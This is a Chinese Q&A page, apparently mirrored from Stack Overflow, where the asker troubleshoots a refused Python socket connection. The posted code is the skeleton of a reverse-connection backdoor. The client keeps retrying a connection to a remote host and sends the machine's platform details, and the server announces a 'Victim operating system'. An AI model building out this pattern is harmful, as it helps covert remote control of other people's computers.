【问题标题】:[Python]Socket external connection error[Python]Socket外接错误
【发布时间】:2018-08-29 12:11:33
【问题描述】:

当我尝试通过 socket(LIKE CHAT APPLICATION) python 建立外部连接时,我得到了

[Errno 111] 连接被拒绝

图片: 客户代码:

while True:
        try:
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((ip, port))
            break
        except socket.error as e:
            print(str(e))
            time.sleep(5)
            continue
self.reliable_send(platform.platform())

服务器图像: 服务器代码:

def __init__(self, ip="0.0.0.0", port=55000):
        self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.listener.bind((ip, port))
        self.listener.listen(1)
        print("[+] Waiting for incoming connections")
        (self.connection, address) = self.listener.accept()
        print("[+] Got a connection from :" + address[0])
        print("[+] Victim operating system :" + self.reliable_receive())

什么是错误? 我已经在我的服务器上打开了这个端口,并且在它上面运行了应用程序,但是它没有得到任何连接! 谢谢

【问题讨论】:

  • 请不要在图片中包含相关代码和错误。改为包含这些 als 文本。另外,不要只是把你的代码扔进问题中,而是详细解释你实际上想要做什么。
  • 无论如何,我已经解释了我需要什么,谢谢,先生。
  • 很可能是服务器上或者中间有防火墙阻止了来自客户端的访问。
  • 我在服务器上检查过,但我打开了我需要的所有端口。

标签: python sockets networking tcp server


【解决方案1】:

尝试收听0.0.0.0 而不是127.0.0.1

【讨论】:

    猜你喜欢
    • 2014-01-21
    • 2012-03-09
    • 2017-11-22
    • 1970-01-01
    • 1970-01-01
    • 2014-10-02
    • 1970-01-01
    • 1970-01-01
    • 2021-07-19
    相关资源
    最近更新 更多